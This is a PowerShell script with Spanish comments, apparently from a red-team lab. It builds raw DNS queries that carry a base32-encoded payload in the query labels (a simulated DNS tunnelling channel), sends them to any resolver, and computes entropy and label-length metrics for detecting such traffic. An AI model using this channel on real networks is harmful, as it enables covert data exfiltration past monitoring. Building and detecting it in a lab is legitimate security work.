#Requires -Version 5.1 <# DnsMini.ps1 - Mini cliente y servidor DNS en PowerShell, sin dependencias. Para que sirve: - Cliente: construir y enviar consultas DNS reales (A/TXT) con el payload en los labels. Es el canal "no convencional" del Vector 1. - Servidor: resolver DNS de laboratorio con log de consultas. Es la Opcion B (recomendada) porque con solo XAMPP + ngrok NO se puede controlar una zona DNS: ngrok da un hostname, no la zona. El cliente NO usa Resolve-DnsName: construye el paquete a mano. Asi funciona contra cualquier resolver (el del lab, el corporativo o uno publico), acepta puerto no estandar y es testeable en local sin tocar el puerto 53. #> function Add-RTBe16 { param([Parameter(Mandatory)]$Stream, [Parameter(Mandatory)][int]$Value) $Stream.WriteByte([byte](($Value -shr 8) -band 0xFF)) $Stream.WriteByte([byte]($Value -band 0xFF)) } function Get-RTDnsTypeCode { param([string]$Type) switch ($Type.ToUpper()) { 'A' { return 1 } 'NS' { return 2 } 'CNAME' { return 5 } 'TXT' { return 16 } 'AAAA' { return 28 } default { return 1 } } } function Get-RTDnsTypeName { param([int]$Code) switch ($Code) { 1 { return 'A' } 2 { return 'NS' } 5 { return 'CNAME' } 16 { return 'TXT' } 28 { return 'AAAA' } default { return "T$Code" } } } <# Construye un paquete de consulta DNS (big-endian, RFC 1035). #> function New-RTDnsQueryPacket { param( [Parameter(Mandatory)][string]$Name, [string]$Type = 'A', [int]$Id = 0 ) if ($Id -le 0) { $Id = Get-Random -Minimum 1 -Maximum 65535 } $ms = New-Object System.IO.MemoryStream Add-RTBe16 -Stream $ms -Value $Id Add-RTBe16 -Stream $ms -Value 0x0100 # RD=1 Add-RTBe16 -Stream $ms -Value 1 # QDCOUNT Add-RTBe16 -Stream $ms -Value 0 # ANCOUNT Add-RTBe16 -Stream $ms -Value 0 # NSCOUNT Add-RTBe16 -Stream $ms -Value 0 # ARCOUNT $fqdn = $Name.TrimEnd('.') foreach ($label in $fqdn.Split('.')) { $lb = [System.Text.Encoding]::ASCII.GetBytes($label) if ($lb.Length -gt 63) { $lb = $lb[0..62] } $ms.WriteByte([byte]$lb.Length) $ms.Write($lb, 0, $lb.Length) } $ms.WriteByte([byte]0) Add-RTBe16 -Stream $ms -Value (Get-RTDnsTypeCode -Type $Type) Add-RTBe16 -Stream $ms -Value 1 # QCLASS = IN $packet = $ms.ToArray() $ms.Dispose() return $packet } <# Lee el nombre de la primera pregunta de un paquete DNS. #> function Read-RTDnsQueryName { param([Parameter(Mandatory)][byte[]]$Packet) $i = 12 $labels = @() while ($i -lt $Packet.Length) { $len = [int]$Packet[$i] if ($len -eq 0) { break } if (($len -band 0xC0) -eq 0xC0) { break } if (($i + 1 + $len) -gt $Packet.Length) { break } $labels += [System.Text.Encoding]::ASCII.GetString($Packet, $i + 1, $len) $i += $len + 1 } return ($labels -join '.') } <# Lee el QTYPE de la primera pregunta. #> function Read-RTDnsQueryType { param([Parameter(Mandatory)][byte[]]$Packet) $i = 12 while ($i -lt $Packet.Length) { $len = [int]$Packet[$i] if ($len -eq 0) { $i++; break } if (($len -band 0xC0) -eq 0xC0) { $i += 2; break } $i += $len + 1 } if (($i + 1) -ge $Packet.Length) { return 'A' } $code = ([int]$Packet[$i] -shl 8) -bor [int]$Packet[$i + 1] return (Get-RTDnsTypeName -Code $code) } <# Respuesta minima valida: QR=1, RCODE=0, sin registros. #> function New-RTDnsResponsePacket { param([Parameter(Mandatory)][byte[]]$Query, [int]$Rcode = 0) $resp = New-Object byte[] $Query.Length [Array]::Copy($Query, $resp, $Query.Length) $resp[2] = [byte]([int]$resp[2] -bor 0x80) # QR = 1 (respuesta) $resp[3] = [byte]([int]$resp[3] -band 0xF0) # RCODE = 0 $resp[3] = [byte]([int]$resp[3] -bor ($Rcode -band 0x0F)) return $resp } <# Envia una consulta DNS cruda por UDP. No depende de Resolve-DnsName. #> function Send-RTDnsQuery { param( [Parameter(Mandatory)][string]$Server, [Parameter(Mandatory)][string]$Name, [string]$Type = 'A', [int]$Port = 53, [int]$TimeoutMs = 3000 ) $packet = New-RTDnsQueryPacket -Name $Name -Type $Type $udp = New-Object System.Net.Sockets.UdpClient $sw = [System.Diagnostics.Stopwatch]::StartNew() $out = [ordered]@{ ok = $false; rcode = $null; latency_ms = $null error = $null; bytes_sent = $packet.Length; name = $Name; type = $Type } try { $udp.Client.ReceiveTimeout = $TimeoutMs $udp.Connect($Server, $Port) [void]$udp.Send($packet, $packet.Length) $ep = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, 0) $resp = $udp.Receive([ref]$ep) $out.latency_ms = $sw.ElapsedMilliseconds if ($resp -and $resp.Length -ge 4) { $out.ok = $true $out.rcode = [int]($resp[3] -band 0x0F) } } catch { $out.error = $_.Exception.Message } finally { $sw.Stop() if ($null -eq $out.latency_ms) { $out.latency_ms = $sw.ElapsedMilliseconds } $udp.Close() } return [pscustomobject]$out } <# Construye el nombre DNS del canal simulado. - Modo beacon: b.. - Modo payload: [.].. El runid se sanea para ser un label DNS valido. #> function New-RTDnsQueryName { param( [Parameter(Mandatory)][string]$Zone, [Parameter(Mandatory)][string]$RunId, [Parameter(Mandatory)][int]$Seq, [byte[]]$Payload = $null, [int]$MaxLabels = 3, [string]$Tag = '' ) $labels = @() $safeRun = ($RunId -replace '[^A-Za-z0-9-]', '-') if ($null -eq $Payload -or $Payload.Length -eq 0) { $labels += ('b{0}' -f $safeRun) } else { $b32 = ConvertTo-RTBase32 -Bytes $Payload $chunk = 60 $parts = @() for ($i = 0; $i -lt $b32.Length; $i += $chunk) { $parts += $b32.Substring($i, [Math]::Min($chunk, $b32.Length - $i)) } if ($parts.Count -gt $MaxLabels) { $parts = $parts[0..($MaxLabels - 1)] } $labels += $parts } if (-not [string]::IsNullOrWhiteSpace($Tag)) { $labels += ($Tag -replace '[^A-Za-z0-9-]', '-') } $labels += ('{0}' -f $Seq) $labels += $Zone.TrimEnd('.').Split('.') return ($labels -join '.') } <# Entropia de Shannon: la feature que delata un canal DNS tunelizado. #> function Get-RTEntropy { param([string]$Text) if ([string]::IsNullOrEmpty($Text)) { return 0.0 } $counts = @{} foreach ($c in $Text.ToCharArray()) { $k = [string]$c if ($counts.ContainsKey($k)) { $counts[$k]++ } else { $counts[$k] = 1 } } $e = 0.0 foreach ($k in $counts.Keys) { $p = $counts[$k] / $Text.Length $e -= $p * [Math]::Log($p, 2) } return [Math]::Round($e, 3) } <# Metricas de un nombre DNS consultado: lo que Blue Team debe usar como feature. #> function Get-RTDnsNameMetrics { param([Parameter(Mandatory)][string]$Name) $parts = @($Name.TrimEnd('.').Split('.')) if ($parts.Count -eq 0) { return [pscustomobject]@{ LabelMax = 0; QNameLen = 0; Entropy = 0.0 } } $max = ($parts | Measure-Object -Property Length -Maximum).Maximum return [pscustomobject]@{ LabelMax = [int]$max QNameLen = $Name.Length Entropy = (Get-RTEntropy -Text $Name) } }